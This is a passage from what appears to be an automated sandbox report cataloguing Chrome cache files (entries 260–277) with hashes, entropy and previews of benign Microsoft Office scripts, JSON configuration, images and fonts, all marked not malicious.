Preview:	/! Hammer.JS - v2.0.8 - 2019-03-19.. http://hammerjs.github.io/.. .. Copyright (c) Jorik Tangelder;.. * Licensed under the MIT license */..(function(window,document,exportName,undefined){"use strict";function ifUndefined(val1,val2){return val1===undefined?val2:val1}var STATE_POSSIBLE=1;var STATE_BEGAN=2;var STATE_CHANGED=4;var STATE_ENDED=8;var STATE_RECOGNIZED=STATE_ENDED;var STATE_CANCELLED=16;var STATE_FAILED=32;var assign=void 0;if(typeof Object.assign!=="function"){assign=function assign(target){if(target===undefined\|\|target===null){throw new TypeError("Cannot convert undefined or null to object")}var output=Object(target);for(var index=1;index<arguments.length;index++){var source=arguments[index];if(source!==undefined&&source!==null){for(var nextKey in source){if(source.hasOwnProperty(nextKey)){output[nextKey]=source[nextKey]}}}}return output}}else{assign=Object.assign}var assign$1=assign;var _uniqueId=1;function uniqueId(){return _uniqueId++}function each(obj,iterator,con

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:LUQ9:LUA
MD5:	825644F747BAAB2C00E420DBBC39E4B3
SHA1:	10588307553E766AB3C7D328D948DC6754893CEF
SHA-256:	7C41B898C5DA0CFA4AA049B65EF50248BCE9A72D24BEF4C723786431921B75AA
SHA-512:	BFE6E8DF36C78CBFD17BA9270C86860EE9B051B82594FB8F34A0ADF6A14E1596D2A9DCDC7EB6857101E1502AFF6FF515A36E8BA6C80DA327BC11831624A5DAEA
Malicious:	false
Reputation:	low
Preview:	Bad Request

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4551)
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	5.17569401429331
Encrypted:	false
SSDEEP:	48:1NG9trw/7zqHWRYK+riktCab88H9dqY3GK4DphKqDM5qUr7XXdc6sYRKRXcuz8k6:ItO7zGK7anQR8HHNUmn+RXKpt
MD5:	8CC75BECE26A052D221A18E93AB0C089
SHA1:	C79EDBA254719D13A6007EEBDC8D0E123A067B7D
SHA-256:	5A82750C7D643B76A2A865C1683D378EAC43EEA1806DB74E157624BADC2071DC
SHA-512:	6C68BB5B7CC739F7775BF733E39C91CC05F3404612852BA7F2E714C18CA0EDDBCEA7FE3048345CD1ADA9F392515F20DB7D47D44FCFAEF911D271613A68608E74
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[9],{119:(e,t,n)=>{function a(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];i()&&console.log.apply(console,e)}function i(){try{if("sessionStorage"in window&&window.sessionStorage){var e=window.sessionStorage.enableFCILogging;return e&&"true"===e.toLowerCase()&&"undefined"!=typeof console&&!!console}}catch(e){}return!1}n.r(t),n.d(t,{getFirstCPUIdle:()=>o});var r=function(){function e(e){this._longTaskId=0,this._checkFCIRunId=0,this._isDisposed=!1;var t=e.requiredMainThreadCPUIdleDurationInMilliseconds,n=e.measurementStartTime;this._measurementStartTime=n,this._requiredMainThreadCPUIdleDurationInMilliseconds=t,this._resultResolver={resolve:void 0,reject:void 0},this._fciPromise=void 0,this._longTasks=[],this._processLongTaskPreQueue(e.initialEntries),this._registerLongTaskObserver()}return e.prototype.measureFCI=function(){var e=this;if(this._isDisposed)throw"FCIMeasurer is disposed.";return this._

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3290
Entropy (8bit):	5.895460726438132
Encrypted:	false
SSDEEP:	96:J/bwRFZ1ZdpIOUmURqcJHFowRWJKanp15KW:J/bwRFTuObcZxWJKap15KW
MD5:	3A086789DBE806DC59E22D10A6555300
SHA1:	D288FF3F83417AFAEF978D00F739E164427EA2FA
SHA-256:	E23D69AA104B4C123CD52CF3BBB1C820E3730AE6754E4DFE8DE8FD1882F759A2
SHA-512:	0A88DA0C7821A7D9356C57BA6990216C544A1439CAE1B3AD80F799824D0E78327A9FDF19A0A593B46291772063A17DCD5024D581B5AB6DD9891DF60B0E4A604A
Malicious:	false
Reputation:	low
Preview:	{"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC5Iu+ooF7mgukqtyaLbIxf"],"owlnest.js":["owlnest.d4249494fd37a98c74fb.js","sha384-VSlflz0kT45rNfUrAoRFLoyF4rK74n11s/HeKWtr97pZzHViCaCdH/Xlsoyqq41t"],"authwebworker.js":["authwebworker.771be0ccf22bcb304e1d.js","sha384-fLNxOfQ7OazW304wFpxOvDT4/cBBf1hcA4F0PjMf78Js0r8FgHO5nQz/qDCAKSaL"],"sharedauthclient.js":["sharedauthclient.b21449b5dd90a34fb122.js","sha384-CbSKmlHIyYTh2QeBIwEyGFPE8lmYEJT45IL0Hc9VvAki9KlEgsOH9pH+yRPKfVnx"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.f335f2a65b7bd482b5be.js","sha384-HKxSqP82hYJtD8xRm6HsLjhR2CAGWI0oKuYFkMRg1Tt+8y496UFAn3ygZzeQg38J"],"sharedauthclientmsal.js":["sharedauthclientmsal.c91ba253b5567e61379b.js","sha384-hsZIHUoG/N70URpos5UtKR+tHYUbXt/1qwKO0IdWrFJZ22PRzjseZXsDlfOzeHKN"],"sharedaut

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (12695)
Category:	dropped
Size (bytes):	1191383
Entropy (8bit):	5.476251679821947
Encrypted:	false
SSDEEP:	12288:wprMrx3esY3T4lVsosvhTNeP4UM+P3m2vC:wpnvslVsoCs1mv
MD5:	FAFC5A3C86A3FCF67D6EA79F2B5BE663
SHA1:	1EAD9CB01A5783370C61617410F021C0C4D7E01F
SHA-256:	4E9595D3356A63CD7BF1F0F7CE16FAF6E882178091864AB9EFD3E5A0DEC7557A
SHA-512:	1BFFCFE1B4AB58D5A5864121FC0B220F87C3E401B050961F62A0E2D33448FF263503104D2CF5FCF7A9D344522FA71C8CE64B6AA61F906921BEF324094122A14E
Malicious:	false
Reputation:	low
Preview:	!function(){var e,t,r,n,o,a={4676:function(e,t){e.exports={Form:{Cancel:()=>"Cancel",CommentPlaceholder:()=>"Please do not include any confidential or personal information in your comment",EmailPlaceholder:()=>"Email (optional)",Submit:()=>"Send",Title:()=>"Feedback to Microsoft",TemplateErrorMessage:()=>"One or more questions are required or the input is not valid"},Questions:{ContactMeQuestion:()=>"You may contact me about this feedback"},Common:{LoadingText:()=>"Loading, please wait..."},Error:{ErrorMessage:()=>"Survey failed to load"}};},6870:function(e,t){e.exports={CloseLabel:()=>"Close dialog",EmailTextFieldPlaceholder:()=>"Email (optional)",EmailTextFieldInputError:()=>"Email address is invalid",CommentTextFieldPlaceholder:()=>"Please do not include any confidential or personal information in your comment",CommentTextFieldMaxLengthText:e=>"."+e.remainingMaxLength+". of ."+e.maxLength+". characters remaining",EmailConsentCheckboxLabel:()=>"You can contact me about this f

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	73679
Entropy (8bit):	5.345331273160561
Encrypted:	false
SSDEEP:	768:2mEAABhINqfFi3U+BBZ9rbov8krznXSraMIRF+b+hNH8IBYLd9+yerrwg6ksYcI0:sBhPfQ3pBBZ9n4wQB4XjUQeoSGfUk
MD5:	65F960810895837B06B1D3AE1CCEAEF3
SHA1:	0673F80A70CFB78AD7018E161E3201E80CB71307
SHA-256:	F452E6287DAFD3B632CBFF8533ED5DFC2F6F476C8672B468CF6DCFE321B8C889
SHA-512:	1DB287677E77DF1E62326486EEDA54DAB20A760008180ED93D905029B6361BA06212F62DD366E77435F43F701CC9BBE1DC46234C6201173B75336BA79A41DF26
Malicious:	false
Reputation:	low
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/telemetry/oteljs_agave.js
Preview:	var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(i,r,function(t){return e[t]}.bind(null,r));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=31)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30974
Entropy (8bit):	5.177553608210767
Encrypted:	false
SSDEEP:	384:E+0bYnS5mOd5Mr67VY/63pZXpBYQhyKXFgo:E+0bAOd5xTnEMy2T
MD5:	9D90D12454A88498D9C9EF5759E2CE58
SHA1:	043FA3B42F2D36FCE35DFBECF96B8B0F5EFD00D7
SHA-256:	FBDC6F74215081A5DAAF56BC37EBEF1E95A30B61AF9773DF240B9813C4C007B4
SHA-512:	46682218DB55C967C8AFA72C998F91A0B786D6F0F54F452399D502B88259D9C40773875DF34111C81A1038E22A573C38985924CBFBC07D6E48E139DD77812617
Malicious:	false
Reputation:	low
Preview:	{"Architecture":1,"Audience":0,"Resources":{"Version":"1.20240712.4.0","CatalogXml":"<ResourceCatalog>\r\n <Resources>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-518b5c\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-518b5c.5933cd0888c6d82621b8.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-518b5c.5933cd0888c6d82621b8.js</LTRPath>\r\n </Resource>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-cfbf2c\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-cfbf2c.3e23477a05511fc98616.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-we

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1626
Entropy (8bit):	5.220736522823314
Encrypted:	false
SSDEEP:	48:cWA886hPtIWyTCQuwUFJ1sq4AC0Qvk2tFtYDYKo:bA0hP2yQuwQObd1f
MD5:	BCB0C4305749B10C7E9F428F8199CAF5
SHA1:	B0AFC5BE5ABE6F91286C5F15784EC25FB318BADF
SHA-256:	996A3022BDB1C69A264B5E164E4596169D81A91DC6114F7B971FBCD2A218E69C
SHA-512:	B2D3DD04BB38314E91A20C0C67C7DD8B01F72EEF52464EECD5C876C7F932527AEF65E9FF434B8CC7E7B61CB8CD25DD8228C3B38FA895E289CB70717B1842419E
Malicious:	false
Reputation:	low
URL:	https://fa000000096.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.2404.23003/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>9202f6f9-8fe3-4cf8-9cbd-384c940fe419</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>kotai</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="SDX SSO Web App" />.. <Description DefaultValue="SDX SSO Web App" />.. Icon for your add-in. Used on installation screens and the add-ins dialog -->.. <IconUrl DefaultValue="assets/icon-32.png"/>.... <Hosts>.. <Host Name="Document"/>.. <Host Name="Notebook"/>.. <Host Name="Presentation"/>.. <Host Name="Workb

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 82 x 258, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6140
Entropy (8bit):	7.86318803852975
Encrypted:	false
SSDEEP:	96:JCXCuvaxrUZXtOVVLMtSqdyZ7x5rY4gby5cR+YBaB7W+Nf9XF5Qfhl4/t5K:MMr7AtaZ7fY4f5I/qRf9V6hSl5K
MD5:	2443F04DFD8CE58264835F7CD477799C
SHA1:	E798EF676A42AA8F723246C95FA6A918010223B2
SHA-256:	77DD1463FE34BE51528C6535C5AAF5590EE90BBD3B76AE8E362657C45E9F90FD
SHA-512:	2668E7EEFF653ECDEF04058FDC43328A80F297EE601839737F35A860737DAD438B03298C1A452E83DAED31DDDA540F7F065FE8F22FB05FC150A9FEAB08FFC91D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...R.........m......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400" xmpMM:DocumentID="xmp.did:98155F5CD83911E1ACDEFDB8BE9BCEAA" xmpMM:InstanceID="xmp.iid:98155F5BD83911E1ACDEFDB8BE9BCEAA" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09F73A8D39D8E111AE39EC2BD256A3F2" stRef:documentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.[...,IDATx..........{....a.... .<c......3.....

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	dropped
Size (bytes):	695
Entropy (8bit):	5.696679956038459
Encrypted:	false
SSDEEP:	12:HarRMs0pTestEsVEsl3Est3EshEsZ9NMzrI3TjEEofVcQ72TVkI3TjE:Har2nTeUEME23E+3EoEQ9NFj6kbjE
MD5:	648AD2F7EEA95A9B5491DCD2203B2F54
SHA1:	5FFA99938410AEBAB10B32308F242437B9432B53
SHA-256:	A3596C17DAD9A003D0BFBE0B7BA6765F51391B5C3943660316F01C8E77B323DB
SHA-512:	F7984FFEAEC122EFCBE36218979BB4C35E27007CC091BA5A8829BA5088999A3F9F7A7D5E11D90A05904D58644EC0B4E5EE1D57C68DD5270B7F456A762D8D699A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,.................0.+......H.....V..!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,............`..Q.!.......,..............z...cr...!.......,.................dp.,.....H.....;..!.......,..........2......dp.,...QP.Td......F.[...v..?y...."......!.......,..........0......dp.,...QP.Td..........gO:.......Q..!.......,..........*......dp.,...QP.Td..........g.\|.}.)..!.......,..........&......dp.,...QP.Td............>..!.......,..........#......dp.,...QP.Td........L.6V..!.......,.................dp.,.....H.....;..;

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	354436
Entropy (8bit):	5.450930078030826
Encrypted:	false
SSDEEP:	6144:Swpa/0WfI/txHs88r97Vn5CBFXAjXUJWe4TLRBIR+gc:SwkfIFxHs88rpzwFXAj2ELRBIR8
MD5:	25685FCCC63D87B51C0BBAA736D32754
SHA1:	2BBFAAF93F0B2881F125E0868665A1477E0D3B46
SHA-256:	F14F2718E2139E97D8DEDDCE87C220CC8E966955EA187AFBDF5521BBCE3F4A53
SHA-512:	A6ED6735B63BFDEFCA999707E8B6ED0986F58556C5835D96CCC791418AC05B5D8F6970627AFB6C8BFDF82AFB85F108561AA62D5C6C405CF62B686CA2062A3F6C
Malicious:	false
Reputation:	low
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,s){try{var a=e[i](s),l=a.value}catch(e){return void o(e)}a.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function s(e){asyncGeneratorStep(i,n,r,s,a,"next",e)}function a(e){asyncGeneratorStep(i,n,r,s,a,"throw",e)}s(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5949), with no line terminators
Category:	dropped
Size (bytes):	5949
Entropy (8bit):	5.021760613857532
Encrypted:	false
SSDEEP:	96:Vq+J+ZRrxLuL7H9T4Mh+HsQ7qQYHq3l0e4QDhMWp:xJ+ZR07HNhhw7qQYHq3l0e4P8
MD5:	BBF6A2B6E77972F0718F99C86AE3FE92
SHA1:	806E8C002AE178B41819BEAFE123AE09202DF966
SHA-256:	78FF6158246E4FA25F994827F90ED69FEEF349AA57449CB404E35C3026BD4B8A
SHA-512:	4B4F58735190254E74ED9BAF547046642F622EE35414784A093356D28982A28A5D84E4CE71E476A88BC43583B6BB2D916B16A733D67D5B30E145DC2E4182BC8C
Malicious:	false
Reputation:	low
Preview:	function __loadCompat(n){n.Debug=function(){};n.Debug._fail=function(n){throw new Error(n);};n.Debug.writeln=function(n){window.console&&window.console.debug(n)};n.__getNonTextNode=function(n){try{while(n&&n.nodeType!=1)n=n.parentNode}catch(t){n=null}return n}}function _loadSafariCompat(){Node.prototype.__defineGetter__("text",function(){return this.textContent});Node.prototype.__defineSetter__("text",function(n){this.textContent=n});Node.prototype.selectNodes=function(n){var t=this.ownerDocument;return selectNodes(t,n,this)};Node.prototype.selectSingleNode=function(n){var t=this.ownerDocument;return selectSingleNode(t,n,this)};Document.prototype.selectNodes=function(n){return selectNodes(this,n,this.documentElement)};Document.prototype.selectSingleNode=function(n){return selectSingleNode(this,n,this.documentElement)}}function _loadMozillaCompat(n){n.navigate=function(n){window.setTimeout('window.location = "'+n+'";',0)};var t=function(n,t){t._mozillaEventHandler=function(n){return win

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8344), with no line terminators
Category:	downloaded
Size (bytes):	8344
Entropy (8bit):	4.9273680360222745
Encrypted:	false
SSDEEP:	96:wwKI3zZc4ys873IJ7kx3HPcYaV2klI70JbieVPhHaAtZI88f+L+17XN8GdpF/w67:wZI3zmjLaMkhi1lGJK8h/0
MD5:	4E2775868113E893AC7DCA5F68BCE700
SHA1:	FE4BDB7D453BBDB5DB32799895EEA23BC80A0310
SHA-256:	95C610F3AC1963572366EE84B1860E9BFB4267AA76BF6D0FE5D53E2F317252C8
SHA-512:	DAC70F5E8B3C23E82C94FBB17C88ADC6B65A0C0F4F1BE91CDDDE66D33BE48E543905528E157F73C9C9A191066EE06E97B8EC37367D2AA3DAF26CC5DF226767F4
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/1033/onenote-navpane-strings.min.js
Preview:	var OnenoteNavpaneStrings={AddPage:"Add page",AriaAddPage:"Add page",AddSection:"Add section",AriaAddSection:"Add section",AriaCollapseNotebookLabel:"Select to go back to the section and page navigation.",AriaPageLabel:"Page. Select to open page contents.",AriaSelectedPageLabel:"Page. Selected. Press Ctrl + F6 to navigate to page contents.",AriaSectionLabel:"Section. Select to switch to this section.",AriaSelectedSectionLabel:"Section. Selected. Press Ctrl + F6 to navigate to page list of the section.",AriaSectionGroupLabel:"Section Group. Select to expand and display inner sections.",AriaVersionLabel:"Version. Select to open version contents.",AriaSelectedVersionLabel:"Version. Selected. Press Ctrl + F6 to navigate to version contents.",AriaConflictLabel:"Conflict. Select to open conflict page contents.",AriaSelectedConflictLabel:"Conflict. Selected. Press Ctrl + F6 to navigate to conflict page contents.",AriaNotebookLabel:"Notebook. Select to switch to this notebook.",AriaNavpaneLabe

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.402314814370457
Encrypted:	false
SSDEEP:	6:Yq0qjbQr6pjLpsSFHWD7XvZPP7BA02Jh4Qj9otXH8zrpHqYw8Ve0pcVlhIvY:Yq0+0mtiSFH4137BA0chR6XHarpHuSkB
MD5:	9C8984F079AA6DDD19FD741AC680A835
SHA1:	E40ACB711108B5BC771BC691628E7B6CC36520A2
SHA-256:	03E77EE9A8C1869FAF4C5127ED01069E57926FD627121EA458C44E3117EBBD91
SHA-512:	EA815AD53704184830A823951DACB2FE9770B97DCAE9442E8E8DD10CAE65AE7321B0622927C5D67C59B4757F7CB688125AD458AE77D6503BC5896171632DA6A5
Malicious:	false
Reputation:	low
Preview:	{"OneShell":{"UpdatedConsumerAppList":true,"M365StartEnabled":true,"DisableM365StartIntentsModule":false,"default":true},"Headers":{"ETag":"\"8M6C3IBLtb8mwT1KNreplkZ/i0rFbbeiyWPkxzwWrg0=\"","Expires":"Tue, 16 Jul 2024 12:07:16 GMT","CountryCode":"US","StatusCode":"200"},"ConfigIDs":{"OneShell":"P-R-1157040-4-8,P-R-1131228-4-17,P-D-1117449-1-4"}}

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:LUQ9:LUA
MD5:	825644F747BAAB2C00E420DBBC39E4B3
SHA1:	10588307553E766AB3C7D328D948DC6754893CEF
SHA-256:	7C41B898C5DA0CFA4AA049B65EF50248BCE9A72D24BEF4C723786431921B75AA
SHA-512:	BFE6E8DF36C78CBFD17BA9270C86860EE9B051B82594FB8F34A0ADF6A14E1596D2A9DCDC7EB6857101E1502AFF6FF515A36E8BA6C80DA327BC11831624A5DAEA
Malicious:	false
Reputation:	low
Preview:	Bad Request

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836)
Category:	dropped
Size (bytes):	1881
Entropy (8bit):	5.242904024505773
Encrypted:	false
SSDEEP:	48:Tpb2K88E4MpcrdUK08uhGL2S3IH9sWRhCt:TpbLx5uhGLPIH9sWRhCt
MD5:	481E9B7523DD0EB42989C1D5531B71E0
SHA1:	21B1370231C5D2B3A94E6B142FB2D9A82E3DB011
SHA-256:	B7980DF54E1E21163B392C276C0FD0D6CBA054E817C37F83AEB791B1F70BF551
SHA-512:	C370D94D3A6EBB5A811341BAAD94BB79B1CF11FBF8E85D031670FE83E836642D0D7CD45A4E8CE6698385479630421A3E14001E0DAD3A9F51A4862267A0323543
Malicious:	false
Reputation:	low
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[288],{5340:function(e,n,t){t.r(n),t.d(n,{Callout:function(){return i}});var o=t(91487),r=t(35440),a=t(35843),u=t(80696),i=r.forwardRef((function(e,n){var t=e.layerProps,i=e.doNotLayer,l=(0,o.__rest)(e,["layerProps","doNotLayer"]),s=r.createElement(a.s,(0,o.__assign)({},l,{doNotLayer:i,ref:n}));return i?s:r.createElement(u.W,(0,o.__assign)({},t),s)}));i.displayName="Callout"},53588:function(e,n,t){t.r(n),t.d(n,{ContextualMenu:function(){return p}});var o=t(91487),r=t(35440),a=t(36519),u=t(75747),i=t(68235),l=t(15904),s=t(48241),d={root:"ms-ContextualMenu",container:"ms-ContextualMenu-container",list:"ms-ContextualMenu-list",header:"ms-ContextualMenu-header",title:"ms-ContextualMenu-title",isopen:"is-open"};function c(e){return r.createElement(m,(0,o.__assign)({},e))}var m=(0,a.I)(i.wb,(function(e){var n=e.className,t=e.theme,o=(0,l.Km)(d,t),r=t.fonts,a=t.semanticColors,u=t.effects;return{root:[t.font

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 151924, version 0.0
Category:	downloaded
Size (bytes):	151924
Entropy (8bit):	7.996755078799659
Encrypted:	true
SSDEEP:	3072:izu4By5vR4gdzOjZHpybtAVOZ71Q1gcq0WTo7wSRhpFY/iw2yQ0X2+6L0aR/h:iznyHBmNMJcOd1ro719FY/ilyQ0Gp
MD5:	E80FF72E03E780056CFDBD85C63404CE
SHA1:	C450A1A6233F0FBC6DBFFB7FEE251E378F64EF32
SHA-256:	05828D625DCB5781D0A3CC67A2429CED535FDF848B8B8075D49751EB5B30C7AF
SHA-512:	D819D75CA896AF15F99185F87AF40A85A0FA6941B9E08974C6569123B601DCC8E043BE1C0F5C154E37A351A046B57D5196002B16FA7102761E3C0961D92CAC8D
Malicious:	false
Reputation:	low
URL:	https://spoprod-a.akamaihd.net/files/fabric/assets/icons/fabricmdl2icons.woff
Preview:	wOFF......Qt................................OS/2...X...H...`JZ}.VDMX.............^.qcmap................cvt ...\... ...*....fpgm...\|.......Y...gasp...l............glyf...x..$...0.{.yyhead..7`...6...6%.d.hhea..7........$7.5.hmtx..7....M... .N..loca..<....q...D...maxp..K\|... ... .\|..name..K....8.......post..P........ .Q.wprep..P.........x...x.c`.`a......:....Q.B3_dHc..`e.bdb... .`@..`......os9.\|...V...)00......x...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...wx.....;..j..fwf....R. %.....4......"<.w..A.<..H.C'.E.E..

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22548), with no line terminators
Category:	downloaded
Size (bytes):	22548
Entropy (8bit):	5.232638466589186
Encrypted:	false
